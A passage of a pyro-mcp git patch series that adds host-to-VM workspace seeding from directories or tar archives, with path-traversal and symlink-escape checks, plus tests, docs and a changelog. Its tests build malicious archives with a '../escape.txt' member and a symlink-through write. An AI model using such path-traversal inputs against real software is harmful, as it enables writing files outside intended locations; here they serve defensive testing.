TaskRecord: network=_deserialize_network(payload.get("network")), command_count=int(payload.get("command_count", 0)), last_command=_optional_dict(payload.get("last_command")), + workspace_seed=_task_workspace_seed_dict(payload.get("workspace_seed")), ) +@dataclass(frozen=True) +class PreparedWorkspaceSeed: + """Prepared host-side seed archive plus metadata.""" + + mode: WorkspaceSeedMode + source_path: str | None + archive_path: Path | None = None + entry_count: int = 0 + bytes_written: int = 0 + cleanup_dir: Path | None = None + + def to_payload(self) -> dict[str, Any]: + return { + "mode": self.mode, + "source_path": self.source_path, + "destination": TASK_WORKSPACE_GUEST_PATH, + "entry_count": self.entry_count, + "bytes_written": self.bytes_written, + } + + def cleanup(self) -> None: + if self.cleanup_dir is not None: + shutil.rmtree(self.cleanup_dir, ignore_errors=True) + + @dataclass(frozen=True) class VmExecResult: """Command execution output.""" @@ -216,6 +252,32 @@ def _string_dict(value: object) -> dict[str, str]: return {str(key): str(item) for key, item in value.items()} +def _empty_workspace_seed_payload() -> dict[str, Any]: + return { + "mode": "empty", + "source_path": None, + "destination": TASK_WORKSPACE_GUEST_PATH, + "entry_count": 0, + "bytes_written": 0, + } + + +def _task_workspace_seed_dict(value: object) -> dict[str, Any]: + if not isinstance(value, dict): + return _empty_workspace_seed_payload() + payload = _empty_workspace_seed_payload() + payload.update( + { + "mode": str(value.get("mode", payload["mode"])), + "source_path": _optional_str(value.get("source_path")), + "destination": str(value.get("destination", payload["destination"])), + "entry_count": int(value.get("entry_count", payload["entry_count"])), + "bytes_written": int(value.get("bytes_written", payload["bytes_written"])), + } + ) + return payload + + def _serialize_network(network: NetworkConfig | None) -> dict[str, Any] | None: if network is None: return None @@ -300,6 +362,201 @@ def _wrap_guest_command(command: str, *, cwd: str | None = None) -> str: return f"mkdir -p {quoted_cwd} && cd {quoted_cwd} && {command}" +def _is_supported_seed_archive(path: Path) -> bool: + name = path.name.lower() + return name.endswith(".tar") or name.endswith(".tar.gz") or name.endswith(".tgz") + + +def _normalize_workspace_destination(destination: str) -> tuple[str, PurePosixPath]: + candidate = destination.strip() + if candidate == "": + raise ValueError("workspace destination must not be empty") + destination_path = PurePosixPath(candidate) + workspace_root = PurePosixPath(TASK_WORKSPACE_GUEST_PATH) + if not destination_path.is_absolute(): + destination_path = workspace_root / destination_path + parts = [part for part in destination_path.parts if part not in {"", "."}] + normalized = PurePosixPath("/") / PurePosixPath(*parts) + if normalized == PurePosixPath("/"): + raise ValueError("workspace destination must stay inside /workspace") + if normalized.parts[: len(workspace_root.parts)] != workspace_root.parts: + raise ValueError("workspace destination must stay inside /workspace") + suffix = normalized.relative_to(workspace_root) + return str(normalized), suffix + + +def _workspace_host_destination(workspace_dir: Path, destination: str) -> Path: + _, suffix = _normalize_workspace_destination(destination) + if str(suffix) in {"", "."}: + return workspace_dir + return workspace_dir.joinpath(*suffix.parts) + + +def _normalize_archive_member_name(name: str) -> PurePosixPath: + candidate = name.strip() + if candidate == "": + raise RuntimeError("archive member path is empty") + member_path = PurePosixPath(candidate) + if member_path.is_absolute(): + raise RuntimeError(f"absolute archive member paths are not allowed: {name}") + parts = [part for part in member_path.parts if part not in {"", "."}] + if any(part == ".." for part in parts): + raise RuntimeError(f"unsafe archive member path: {name}") + normalized = PurePosixPath(*parts) + if str(normalized) in {"", "."}: + raise RuntimeError(f"unsafe archive member path: {name}") + return normalized + + +def _validate_archive_symlink_target(member_name: PurePosixPath, link_target: str) -> None: + target = link_target.strip() + if target == "": + raise RuntimeError(f"symlink {member_name} has an empty target") + link_path = PurePosixPath(target) + if link_path.is_absolute(): + raise RuntimeError(f"symlink {member_name} escapes the workspace") + combined = member_name.parent.joinpath(link_path) + parts = [part for part in combined.parts if part not in {"", "."}] + if any(part == ".." for part in parts): + raise RuntimeError(f"symlink {member_name} escapes the workspace") + + +def _inspect_seed_archive(archive_path: Path) -> tuple[int, int]: + entry_count = 0 + bytes_written = 0 + with tarfile.open(archive_path, "r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_archive_member_name(member.name) + entry_count += 1 + if member.isdir(): + continue + if member.isfile(): + bytes_written += member.size + continue + if member.issym(): + _validate_archive_symlink_target(member_name, member.linkname) + continue + if member.islnk(): + raise RuntimeError( + f"hard links are not allowed in workspace archives: {member.name}" + ) + raise RuntimeError(f"unsupported archive member type: {member.name}") + return entry_count, bytes_written + + +def _write_directory_seed_archive(source_dir: Path, archive_path: Path) -> None: + archive_path.parent.mkdir(parents=True, exist_ok=True) + with tarfile.open(archive_path, "w") as archive: + for child in sorted(source_dir.iterdir(), key=lambda item: item.name): + archive.add(child, arcname=child.name, recursive=True) + + +def _extract_seed_archive_to_host_workspace( + archive_path: Path, + *, + workspace_dir: Path, + destination: str, +) -> dict[str, Any]: + normalized_destination, _ = _normalize_workspace_destination(destination) + destination_root = _workspace_host_destination(workspace_dir, normalized_destination) + destination_root.mkdir(parents=True, exist_ok=True) + entry_count = 0 + bytes_written = 0 + with tarfile.open(archive_path, "r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_archive_member_name(member.name) + target_path = destination_root.joinpath(*member_name.parts) + entry_count += 1 + _ensure_no_symlink_parents(workspace_dir, target_path, member.name) + if member.isdir(): + if target_path.is_symlink() or (target_path.exists() and not target_path.is_dir()): + raise RuntimeError(f"directory conflicts with existing path: {member.name}") + target_path.mkdir(parents=True, exist_ok=True) + continue + if member.isfile(): + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.is_symlink() or target_path.is_dir(): + raise RuntimeError(f"file conflicts with existing path: {member.name}") + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read archive member: {member.name}") + with target_path.open("wb") as handle: + shutil.copyfileobj(source, handle) + bytes_written += member.size + continue + if member.issym(): + _validate_archive_symlink_target(member_name, member.linkname) + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.exists() and not target_path.is_symlink(): + raise RuntimeError(f"symlink conflicts with existing path: {member.name}") + if target_path.is_symlink(): + target_path.unlink() + os.symlink(member.linkname, target_path) + continue + if member.islnk(): + raise RuntimeError( + f"hard links are not allowed in workspace archives: {member.name}" + ) + raise RuntimeError(f"unsupported archive member type: {member.name}") + return { + "destination": normalized_destination, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + +def _instance_workspace_host_dir(instance: VmInstance) -> Path: + raw_value = instance.metadata.get("workspace_host_dir") + if raw_value is None or raw_value == "": + raise RuntimeError("task workspace host directory is unavailable") + return Path(raw_value) + + +def _patch_rootfs_guest_agent(rootfs_image: Path, guest_agent_path: Path) -> None: + debugfs_path = shutil.which("debugfs") + if debugfs_path is None: + raise RuntimeError( + "debugfs is required to seed task workspaces on guest-backed runtimes" + ) + with tempfile.TemporaryDirectory(prefix="pyro-guest-agent-") as temp_dir: + staged_agent_path = Path(temp_dir) / "pyro_guest_agent.py" + shutil.copy2(guest_agent_path, staged_agent_path) + subprocess.run( # noqa: S603 + [debugfs_path, "-w", "-R", f"rm {TASK_GUEST_AGENT_PATH}", str(rootfs_image)], + text=True, + capture_output=True, + check=False, + ) + proc = subprocess.run( # noqa: S603 + [ + debugfs_path, + "-w", + "-R", + f"write {staged_agent_path} {TASK_GUEST_AGENT_PATH}", + str(rootfs_image), + ], + text=True, + capture_output=True, + check=False, + ) + if proc.returncode != 0: + raise RuntimeError( + "failed to patch guest agent into task rootfs: " + f"{proc.stderr.strip() or proc.stdout.strip()}" + ) + + +def _ensure_no_symlink_parents(root: Path, target_path: Path, member_name: str) -> None: + relative_path = target_path.relative_to(root) + current = root + for part in relative_path.parts[:-1]: + current = current / part + if current.is_symlink(): + raise RuntimeError( + f"archive member would traverse through a symlinked path: {member_name}" + ) + + def _pid_is_running(pid: int | None) -> bool: if pid is None: return False @@ -337,6 +594,15 @@ class VmBackend: def delete(self, instance: VmInstance) -> None: # pragma: no cover raise NotImplementedError + def import_archive( # pragma: no cover + self, + instance: VmInstance, + *, + archive_path: Path, + destination: str, + ) -> dict[str, Any]: + raise NotImplementedError + class MockBackend(VmBackend): """Host-process backend used for development and testability.""" @@ -365,6 +631,19 @@ class MockBackend(VmBackend): def delete(self, instance: VmInstance) -> None: shutil.rmtree(instance.workdir, ignore_errors=True) + def import_archive( + self, + instance: VmInstance, + *, + archive_path: Path, + destination: str, + ) -> dict[str, Any]: + return _extract_seed_archive_to_host_workspace( + archive_path, + workspace_dir=_instance_workspace_host_dir(instance), + destination=destination, + ) + class FirecrackerBackend(VmBackend): # pragma: no cover """Host-gated backend that validates Firecracker prerequisites.""" @@ -562,6 +841,46 @@ class FirecrackerBackend(VmBackend): # pragma: no cover self._network_manager.cleanup(instance.network) shutil.rmtree(instance.workdir, ignore_errors=True) + def import_archive( + self, + instance: VmInstance, + *, + archive_path: Path, + destination: str, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + deadline = time.monotonic() + 10 + while True: + try: + response = self._guest_exec_client.upload_archive( + guest_cid, + port, + archive_path, + destination=destination, + timeout_seconds=TASK_ARCHIVE_UPLOAD_TIMEOUT_SECONDS, + uds_path=uds_path, + ) + return { + "destination": response.destination, + "entry_count": response.entry_count, + "bytes_written": response.bytes_written, + } + except (OSError, RuntimeError) as exc: + if time.monotonic() >= deadline: + raise RuntimeError( + f"guest archive transport did not become ready: {exc}" + ) from exc + time.sleep(0.2) + instance.metadata["execution_mode"] = "host_compat" + return _extract_seed_archive_to_host_workspace( + archive_path, + workspace_dir=_instance_workspace_host_dir(instance), + destination=destination, + ) + class VmManager: """In-process lifecycle manager for ephemeral VM environments and tasks.""" @@ -814,9 +1133,11 @@ class VmManager: ttl_seconds: int = DEFAULT_TTL_SECONDS, network: bool = False, allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, + source_path: str | Path | None = None, ) -> dict[str, Any]: self._validate_limits(vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds) get_environment(environment, runtime_paths=self._runtime_paths) + prepared_seed = self._prepare_workspace_seed(source_path) now = time.time() task_id = uuid.uuid4().hex[:12] task_dir = self._task_dir(task_id) @@ -851,10 +1172,25 @@ class VmManager: f"max active VMs reached ({self._max_active_vms}); delete old VMs first" ) self._backend.create(instance) + if ( + prepared_seed.archive_path is not None + and self._runtime_capabilities.supports_guest_exec + ): + self._ensure_task_guest_seed_support(instance) with self._lock: self._start_instance_locked(instance) self._require_guest_exec_or_opt_in(instance) - if self._runtime_capabilities.supports_guest_exec: + workspace_seed = prepared_seed.to_payload() + if prepared_seed.archive_path is not None: + import_summary = self._backend.import_archive( + instance, + archive_path=prepared_seed.archive_path, + destination=TASK_WORKSPACE_GUEST_PATH, + ) + workspace_seed["entry_count"] = int(import_summary["entry_count"]) + workspace_seed["bytes_written"] = int(import_summary["bytes_written"]) + workspace_seed["destination"] = str(import_summary["destination"]) + elif self._runtime_capabilities.supports_guest_exec: self._backend.exec( instance, f"mkdir -p {shlex.quote(TASK_WORKSPACE_GUEST_PATH)}", @@ -862,7 +1198,7 @@ class VmManager: ) else: instance.metadata["execution_mode"] = "host_compat" - task = TaskRecord.from_instance(instance) + task = TaskRecord.from_instance(instance, workspace_seed=workspace_seed) self._save_task_locked(task) return self._serialize_task(task) except Exception: @@ -879,6 +1215,8 @@ class VmManager: pass shutil.rmtree(task_dir, ignore_errors=True) raise + finally: + prepared_seed.cleanup() def exec_task(self, task_id: str, *, command: str, timeout_seconds: int = 30) -> dict[str, Any]: if timeout_seconds <= 0: @@ -999,6 +1337,7 @@ class VmManager: "tap_name": task.network.tap_name if task.network is not None else None, "execution_mode": task.metadata.get("execution_mode", "pending"), "workspace_path": TASK_WORKSPACE_GUEST_PATH, + "workspace_seed": _task_workspace_seed_dict(task.workspace_seed), "command_count": task.command_count, "last_command": task.last_command, "metadata": task.metadata, @@ -1094,6 +1433,53 @@ class VmManager: execution_mode = instance.metadata.get("execution_mode", "unknown") return exec_result, execution_mode + def _prepare_workspace_seed(self, source_path: str | Path | None) -> PreparedWorkspaceSeed: + if source_path is None: + return PreparedWorkspaceSeed(mode="empty", source_path=None) + resolved_source_path = Path(source_path).expanduser().resolve() + if not resolved_source_path.exists(): + raise ValueError(f"source_path {resolved_source_path} does not exist") + if resolved_source_path.is_dir(): + cleanup_dir = Path(tempfile.mkdtemp(prefix="pyro-task-seed-")) + archive_path = cleanup_dir / "workspace-seed.tar" + try: + _write_directory_seed_archive(resolved_source_path, archive_path) + entry_count, bytes_written = _inspect_seed_archive(archive_path) + except Exception: + shutil.rmtree(cleanup_dir, ignore_errors=True) + raise + return PreparedWorkspaceSeed( + mode="directory", + source_path=str(resolved_source_path), + archive_path=archive_path, + entry_count=entry_count, + bytes_written=bytes_written, + cleanup_dir=cleanup_dir, + ) + if ( + not resolved_source_path.is_file() + or not _is_supported_seed_archive(resolved_source_path) + ): + raise ValueError( + "source_path must be a directory or a .tar/.tar.gz/.tgz archive" + ) + entry_count, bytes_written = _inspect_seed_archive(resolved_source_path) + return PreparedWorkspaceSeed( + mode="tar_archive", + source_path=str(resolved_source_path), + archive_path=resolved_source_path, + entry_count=entry_count, + bytes_written=bytes_written, + ) + + def _ensure_task_guest_seed_support(self, instance: VmInstance) -> None: + if self._runtime_paths is None or self._runtime_paths.guest_agent_path is None: + raise RuntimeError("runtime bundle does not provide a guest agent for task seeding") + rootfs_image = instance.metadata.get("rootfs_image") + if rootfs_image is None or rootfs_image == "": + raise RuntimeError("task rootfs image is unavailable for guest workspace seeding") + _patch_rootfs_guest_agent(Path(rootfs_image), self._runtime_paths.guest_agent_path) + def _task_dir(self, task_id: str) -> Path: return self._tasks_dir / task_id diff --git a/tests/test_api.py b/tests/test_api.py index 7b79121..ca0b2b1 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -114,14 +114,23 @@ def test_pyro_task_methods_delegate_to_manager(tmp_path: Path) -> None: ) ) - created = pyro.create_task(environment="debian:12-base", allow_host_compat=True) + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("ok\n", encoding="utf-8") + + created = pyro.create_task( + environment="debian:12-base", + allow_host_compat=True, + source_path=source_dir, + ) task_id = str(created["task_id"]) - executed = pyro.exec_task(task_id, command="printf 'ok\\n'") + executed = pyro.exec_task(task_id, command="cat note.txt") status = pyro.status_task(task_id) logs = pyro.logs_task(task_id) deleted = pyro.delete_task(task_id) assert executed["stdout"] == "ok\n" + assert created["workspace_seed"]["mode"] == "directory" assert status["command_count"] == 1 assert logs["count"] == 1 assert deleted["deleted"] is True diff --git a/tests/test_cli.py b/tests/test_cli.py index 67859f7..180fbb4 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -60,9 +60,13 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "Use this from an MCP client config after the CLI evaluation path works." in mcp_help task_help = _subparser_choice(parser, "task").format_help() - assert "pyro task create debian:12" in task_help + assert "pyro task create debian:12 --source-path ./repo" in task_help assert "pyro task exec TASK_ID" in task_help + task_create_help = _subparser_choice(_subparser_choice(parser, "task"), "create").format_help() + assert "--source-path" in task_create_help + assert "seed into `/workspace`" in task_create_help + task_exec_help = _subparser_choice(_subparser_choice(parser, "task"), "exec").format_help() assert "persistent `/workspace`" in task_exec_help assert "pyro task exec TASK_ID -- cat note.txt" in task_exec_help @@ -326,12 +330,20 @@ def test_cli_requires_run_command() -> None: cli._require_command([]) +def test_cli_requires_command_preserves_shell_argument_boundaries() -> None: + command = cli._require_command( + ["--", "sh", "-lc", 'printf "hello from task\\n" > note.txt'] + ) + assert command == 'sh -lc \'printf "hello from task\\n" > note.txt\'' + + def test_cli_task_create_prints_json( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: class StubPyro: def create_task(self, **kwargs: Any) -> dict[str, Any]: assert kwargs["environment"] == "debian:12" + assert kwargs["source_path"] == "./repo" return {"task_id": "task-123", "state": "started"} class StubParser: @@ -345,6 +357,7 @@ def test_cli_task_create_prints_json( ttl_seconds=600, network=False, allow_host_compat=False, + source_path="./repo", json=True, ) @@ -366,6 +379,13 @@ def test_cli_task_create_prints_human( "environment": "debian:12", "state": "started", "workspace_path": "/workspace", + "workspace_seed": { + "mode": "directory", + "source_path": "/tmp/repo", + "destination": "/workspace", + "entry_count": 1, + "bytes_written": 6, + }, "execution_mode": "guest_vsock", "vcpu_count": 1, "mem_mib": 1024, @@ -384,6 +404,7 @@ def test_cli_task_create_prints_human( ttl_seconds=600, network=False, allow_host_compat=False, + source_path="/tmp/repo", json=False, ) @@ -393,6 +414,7 @@ def test_cli_task_create_prints_human( output = capsys.readouterr().out assert "Task: task-123" in output assert "Workspace: /workspace" in output + assert "Workspace seed: directory from /tmp/repo" in output def test_cli_task_exec_prints_human_output( diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index bf07ad4..5f052f0 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -17,6 +17,7 @@ from pyro_mcp.contract import ( PUBLIC_CLI_DEMO_SUBCOMMANDS, PUBLIC_CLI_ENV_SUBCOMMANDS, PUBLIC_CLI_RUN_FLAGS, + PUBLIC_CLI_TASK_CREATE_FLAGS, PUBLIC_CLI_TASK_SUBCOMMANDS, PUBLIC_MCP_TOOLS, PUBLIC_SDK_METHODS, @@ -67,6 +68,11 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: task_help_text = _subparser_choice(parser, "task").format_help() for subcommand_name in PUBLIC_CLI_TASK_SUBCOMMANDS: assert subcommand_name in task_help_text + task_create_help_text = _subparser_choice( + _subparser_choice(parser, "task"), "create" + ).format_help() + for flag in PUBLIC_CLI_TASK_CREATE_FLAGS: + assert flag in task_create_help_text demo_help_text = _subparser_choice(parser, "demo").format_help() for subcommand_name in PUBLIC_CLI_DEMO_SUBCOMMANDS: diff --git a/tests/test_server.py b/tests/test_server.py index be8e1db..7ddfb60 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -171,6 +171,9 @@ def test_task_tools_round_trip(tmp_path: Path) -> None: base_dir=tmp_path / "vms", network_manager=TapNetworkManager(enabled=False), ) + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("ok\n", encoding="utf-8") def _extract_structured(raw_result: object) -> dict[str, Any]: if not isinstance(raw_result, tuple) or len(raw_result) != 2: @@ -188,6 +191,7 @@ def test_task_tools_round_trip(tmp_path: Path) -> None: { "environment": "debian:12-base", "allow_host_compat": True, + "source_path": str(source_dir), }, ) ) @@ -197,7 +201,7 @@ def test_task_tools_round_trip(tmp_path: Path) -> None: "task_exec", { "task_id": task_id, - "command": "printf 'ok\\n'", + "command": "cat note.txt", }, ) ) @@ -207,6 +211,7 @@ def test_task_tools_round_trip(tmp_path: Path) -> None: created, executed, logs, deleted = asyncio.run(_run()) assert created["state"] == "started" + assert created["workspace_seed"]["mode"] == "directory" assert executed["stdout"] == "ok\n" assert logs["count"] == 1 assert deleted["deleted"] is True diff --git a/tests/test_vm_guest.py b/tests/test_vm_guest.py index fe51894..ee4773e 100644 --- a/tests/test_vm_guest.py +++ b/tests/test_vm_guest.py @@ -1,6 +1,10 @@ from __future__ import annotations +import io +import json import socket +import tarfile +from pathlib import Path import pytest @@ -62,6 +66,45 @@ def test_vsock_exec_client_round_trip(monkeypatch: pytest.MonkeyPatch) -> None: assert stub.closed is True +def test_vsock_exec_client_upload_archive_round_trip( + monkeypatch: pytest.MonkeyPatch, tmp_path: Path +) -> None: + monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) + archive_path = tmp_path / "seed.tgz" + with tarfile.open(archive_path, "w:gz") as archive: + payload = b"hello\n" + info = tarfile.TarInfo(name="note.txt") + info.size = len(payload) + archive.addfile(info, io.BytesIO(payload)) + stub = StubSocket( + b'{"destination":"/workspace","entry_count":1,"bytes_written":6}' + ) + + def socket_factory(family: int, sock_type: int) -> StubSocket: + assert family == socket.AF_VSOCK + assert sock_type == socket.SOCK_STREAM + return stub + + client = VsockExecClient(socket_factory=socket_factory) + response = client.upload_archive( + 1234, + 5005, + archive_path, + destination="/workspace", + timeout_seconds=60, + ) + + request_payload, archive_payload = stub.sent.split(b"\n", 1) + request = json.loads(request_payload.decode("utf-8")) + assert request["action"] == "extract_archive" + assert request["destination"] == "/workspace" + assert int(request["archive_size"]) == archive_path.stat().st_size + assert archive_payload == archive_path.read_bytes() + assert response.entry_count == 1 + assert response.bytes_written == 6 + assert stub.closed is True + + def test_vsock_exec_client_rejects_bad_json(monkeypatch: pytest.MonkeyPatch) -> None: monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) stub = StubSocket(b"[]") diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index 560ba95..9810631 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -1,7 +1,9 @@ from __future__ import annotations +import io import json import subprocess +import tarfile import time from pathlib import Path from typing import Any @@ -306,6 +308,140 @@ def test_task_lifecycle_and_logs(tmp_path: Path) -> None: manager.status_task(task_id) +def test_task_create_seeds_directory_source_into_workspace(tmp_path: Path) -> None: + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + created = manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + source_path=source_dir, + ) + task_id = str(created["task_id"]) + + workspace_seed = created["workspace_seed"] + assert workspace_seed["mode"] == "directory" + assert workspace_seed["source_path"] == str(source_dir.resolve()) + executed = manager.exec_task(task_id, command="cat note.txt", timeout_seconds=30) + assert executed["stdout"] == "hello\n" + + status = manager.status_task(task_id) + assert status["workspace_seed"]["mode"] == "directory" + assert status["workspace_seed"]["source_path"] == str(source_dir.resolve()) + + +def test_task_create_seeds_tar_archive_into_workspace(tmp_path: Path) -> None: + archive_path = tmp_path / "seed.tgz" + nested_dir = tmp_path / "src" + nested_dir.mkdir() + (nested_dir / "note.txt").write_text("archive\n", encoding="utf-8") + with tarfile.open(archive_path, "w:gz") as archive: + archive.add(nested_dir / "note.txt", arcname="note.txt") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + created = manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + source_path=archive_path, + ) + task_id = str(created["task_id"]) + + assert created["workspace_seed"]["mode"] == "tar_archive" + executed = manager.exec_task(task_id, command="cat note.txt", timeout_seconds=30) + assert executed["stdout"] == "archive\n" + + +def test_task_create_rejects_unsafe_seed_archive(tmp_path: Path) -> None: + archive_path = tmp_path / "bad.tgz" + with tarfile.open(archive_path, "w:gz") as archive: + payload = b"bad\n" + info = tarfile.TarInfo(name="../escape.txt") + info.size = len(payload) + archive.addfile(info, io.BytesIO(payload)) + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + with pytest.raises(RuntimeError, match="unsafe archive member path"): + manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + source_path=archive_path, + ) + assert list((tmp_path / "vms" / "tasks").iterdir()) == [] + + +def test_task_create_rejects_archive_that_writes_through_symlink(tmp_path: Path) -> None: + archive_path = tmp_path / "bad-symlink.tgz" + with tarfile.open(archive_path, "w:gz") as archive: + symlink_info = tarfile.TarInfo(name="linked") + symlink_info.type = tarfile.SYMTYPE + symlink_info.linkname = "outside" + archive.addfile(symlink_info) + + payload = b"bad\n" + file_info = tarfile.TarInfo(name="linked/note.txt") + file_info.size = len(payload) + archive.addfile(file_info, io.BytesIO(payload)) + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + with pytest.raises(RuntimeError, match="traverse through a symlinked path"): + manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + source_path=archive_path, + ) + + +def test_task_create_cleans_up_on_seed_failure( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + def _boom(*args: Any, **kwargs: Any) -> dict[str, Any]: + del args, kwargs + raise RuntimeError("seed import failed") + + monkeypatch.setattr(manager._backend, "import_archive", _boom) # noqa: SLF001 + + with pytest.raises(RuntimeError, match="seed import failed"): + manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + source_path=source_dir, + ) + + assert list((tmp_path / "vms" / "tasks").iterdir()) == [] + + def test_task_rehydrates_across_manager_processes(tmp_path: Path) -> None: base_dir = tmp_path / "vms" manager = VmManager( diff --git a/uv.lock b/uv.lock index f97ee73..cda5b9c 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "2.1.0" +version = "2.2.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 9e11dcf9abe68986adc8b5b2fb439ab0526ff8ef Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Wed, 11 Mar 2026 22:20:55 -0300 Subject: [PATCH 12/49] Add task sync push milestone Tasks could start from host content in 2.2.0, but there was still no post-create path to update a live workspace from the host. This change adds the next host-to-task step so repeated fix or review loops do not require recreating the task for every local change. Add task sync push across the CLI, Python SDK, and MCP server, reusing the existing safe archive import path from seeded task creation instead of introducing a second transfer stack. The implementation keeps sync separate from workspace_seed metadata, validates destinations under /workspace, and documents the current non-atomic recovery path as delete-and-recreate. Validation: - uv lock - UV_CACHE_DIR=.uv-cache uv run pytest --no-cov tests/test_cli.py tests/test_vm_manager.py tests/test_api.py tests/test_server.py tests/test_public_contract.py - UV_CACHE_DIR=.uv-cache make check - UV_CACHE_DIR=.uv-cache make dist-check - real guest-backed smoke: task create --source-path, task sync push, task exec to verify both files, task delete --- CHANGELOG.md | 9 ++++ README.md | 18 ++++--- docs/first-run.md | 17 +++--- docs/install.md | 9 ++-- docs/integrations.md | 6 ++- docs/public-contract.md | 10 ++++ examples/python_task.py | 29 ++++++---- pyproject.toml | 2 +- src/pyro_mcp/api.py | 18 +++++++ src/pyro_mcp/cli.py | 96 ++++++++++++++++++++++++++++++++- src/pyro_mcp/contract.py | 6 ++- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_manager.py | 52 +++++++++++++++++- tests/test_api.py | 6 +++ tests/test_cli.py | 95 ++++++++++++++++++++++++++++++++ tests/test_public_contract.py | 10 ++++ tests/test_server.py | 31 +++++++++-- tests/test_vm_manager.py | 84 +++++++++++++++++++++++++++++ uv.lock | 2 +- 19 files changed, 461 insertions(+), 41 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a20099d..d04ff5f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,15 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 2.3.0 + +- Added `task sync push` across the CLI, Python SDK, and MCP server so started task workspaces can + import later host-side directory or archive content without being recreated. +- Reused the existing safe archive import path with an explicit destination under `/workspace`, + including host-side and guest-backed task support. +- Documented sync as a non-atomic update path in `2.3.0`, with delete-and-recreate as the recovery + path if a sync fails partway through. + ## 2.2.0 - Added seeded task creation across the CLI, Python SDK, and MCP server with an optional diff --git a/README.md b/README.md index a085622..2057f42 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ It exposes the same runtime in three public forms: - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 2.2.0: [CHANGELOG.md#220](CHANGELOG.md#220) +- What's new in 2.3.0: [CHANGELOG.md#230](CHANGELOG.md#230) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -55,7 +55,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 2.2.0 +Catalog version: 2.3.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -75,6 +75,7 @@ After the quickstart works: - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` - create a persistent workspace with `uvx --from pyro-mcp pyro task create debian:12 --source-path ./repo` +- update a live task from the host with `uvx --from pyro-mcp pyro task sync push TASK_ID ./changes` - move to Python or MCP via [docs/integrations.md](docs/integrations.md) ## Supported Hosts @@ -199,8 +200,8 @@ workspace without recreating the sandbox every time. ```bash pyro task create debian:12 --source-path ./repo -pyro task exec TASK_ID -- sh -lc 'printf "hello from task\n" > note.txt' -pyro task exec TASK_ID -- cat note.txt +pyro task sync push TASK_ID ./changes --dest src +pyro task exec TASK_ID -- cat src/note.txt pyro task logs TASK_ID pyro task delete TASK_ID ``` @@ -208,7 +209,9 @@ pyro task delete TASK_ID Task workspaces start in `/workspace` and keep command history until you delete them. For machine consumption, add `--json` and read the returned `task_id`. Use `--source-path` when you want the task to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an -empty workspace. +empty workspace. Use `pyro task sync push` when you want to import later host-side changes into a +started task. Sync is non-atomic in `2.3.0`; if it fails partway through, delete and recreate the +task from its seed. ## Public Interfaces @@ -353,8 +356,8 @@ pyro = Pyro() task = pyro.create_task(environment="debian:12", source_path="./repo") task_id = task["task_id"] try: - pyro.exec_task(task_id, command="printf 'hello from task\\n' > note.txt") - result = pyro.exec_task(task_id, command="cat note.txt") + pyro.push_task_sync(task_id, 